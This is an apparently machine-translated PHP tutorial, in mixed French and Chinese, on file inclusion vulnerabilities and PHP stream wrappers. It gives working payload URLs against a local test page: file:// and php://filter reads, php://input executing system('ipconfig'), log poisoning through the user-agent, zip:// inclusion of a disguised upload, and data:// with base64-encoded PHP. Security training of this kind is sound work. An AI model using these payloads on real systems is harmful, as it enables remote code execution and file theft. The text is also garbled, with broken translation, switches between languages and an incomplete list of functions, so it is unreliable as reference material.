Cet article vous présente des problèmes liés à PHP, qui présente principalement le contenu pertinent sur l'inclusion de fichiers et le pseudo-protocole PHP. La vulnérabilité d'inclusion de fichiers est un type d'"injection de code". tout le monde.
Étude recommandée : "Tutoriel vidéo PHP"
La vulnérabilité d'inclusion de fichiers est un type d'"injection de code". Le principe est d'injecter un script ou du code que l'utilisateur peut contrôler et de laisser le serveur l'exécuter. Un représentant typique de « l’injection de code » est l’inclusion de fichiers.
Pour réussir à exploiter la vulnérabilité d'inclusion de fichiers en vue d'une attaque, les deux conditions suivantes doivent être remplies :
Les applications Web utilisent include() et d'autres fonctions d'inclusion de fichiers pour introduire les fichiers qui doivent être inclus via des variables dynamiques ;
Le fichier 1.php contient du code qui peut exécuter directement le fichier inclus, et le format de fichier inclus Sans aucune restriction
Quatre fonctions d'inclusion de fichiers sont fournies en php :
(1) Exiger : Lorsque le fichier inclus est introuvable, une erreur fatale (E_COMPILE_ERROR) sera générée et le script s'arrêtera
(2) Inclure ; : Impossible à trouver Un seul (E_warinng) sera généré lorsque le fichier inclus sera atteint, et le script continuera à s'exécuter ;
(3) Require_once : similaire à include, un avertissement sera généré si le fichier est inclus. le code a déjà été inclus, il ne le sera plus ;
Pseudo-protocole PHP
file:// — 访问本地文件系统 php:// — 访问各个输入/输出流(I/O streams)data:// — 数据(RFC 2397)zip:// — 压缩流
all_url_include a été ajouté après PHP 5.2. Les paramètres sûrs et pratiques (paramètres par défaut de php) sont :allow_url_fopen=on;all_url_include=off;
allow_url_fopen = On (autoriser l'ouverture des fichiers URL, activé). par défaut)allow_url_fopen = Off (interdit l'ouverture des fichiers URL)
allow_url_include = Off (interdit le référencement des fichiers URL, la nouvelle version ajoute des fonctions, la valeur par défaut est désactivée)
allow_url_include = On (autorise le référencement des fichiers URL, la nouvelle version ajoute des fonctions)
Utilisez le protocole file:// pour inclure le phpinfo.php
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\WWW\www\phpinfo.php
php://input est utilisé pour exécuter du code php.
http://localhost/www/lfi.php?file=php://filter/read=convert.base64-encode/resource=./phpinfo.php
php://input
http://localhost/www/lfi.php?file=php://input POST <?system ('ipconfig')?>
Tout d'abord, vous devez flouter la méthode pour supprimer le chemin du journal
Pour faciliter les tests, j'ai d'abord effacé le contenu du journal pour une démonstration facile
Visitez l'URL et écrivez. le code dans le journal en signalant l'erreur
Remarque : ici, vous devez utiliser burp pour capturer les paquets pour y accéder, sinon le code sera codé en URL et écrit dans le journal et ne pourra pas être exécuté. user-agent.http://localhost/www/lfi.php?file=<?php phpinfo();?>
F: phpstudyphpstudy_proExtensionsApache2.4.39logsaccess.log.1631750400
Utilisez le pseudo-protocole file:// pour lire le journal et constater que phpinfo a été exécuté avec succès.
http://localhost/www/lfi.php?file=file://F:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log.1631750400
zip://protocol
分析源代码发现,文件上传采用了白名单限制策略,只能上传
“gif", “jpeg”, “jpg”, "png"四种后缀名的文件。
分析文件包含的源代码
Tips: the parameter is file! :) <!-- upload.php --><?php @$file = $_GET["file"]; echo $file; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<p> error! </p>"; } else { include($file.'.php'); } }?>
分析文件包含源代码,发现限制了部分伪协议和%00截断,且在include中自动添加了php后缀名,但是没有限制zip伪协议。
综上分析可以发现,在文件包含中利用zip伪协议,可以创建test.zip的压缩包,里面放着test.php的文件。
在文件上传时候将后缀名zip修改为png的后缀名,
test.php中写入木马
<?phpphpinfo ();?>
如下图所示
图片上传成功之后,利用文件包含和zip://协议去读取test.png中的test.php,发现phpinfo()被执行了,说明poc验证成功
http://172.22.32.25:42715/include.php?file=zip://upload/test.png%23test
条件:
allow_url_fopen:on allow_url_include :on
访问网址
http://localhost/www/lfi.php?file=data://text/plain,<?php phpinfo();?>
也可以使用base64编码,防止代码被过滤掉
file=data://text/plain,base64;PD9waHAgcGhwaW5mbygpPz4=
推荐学习:《PHP视频教程》
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!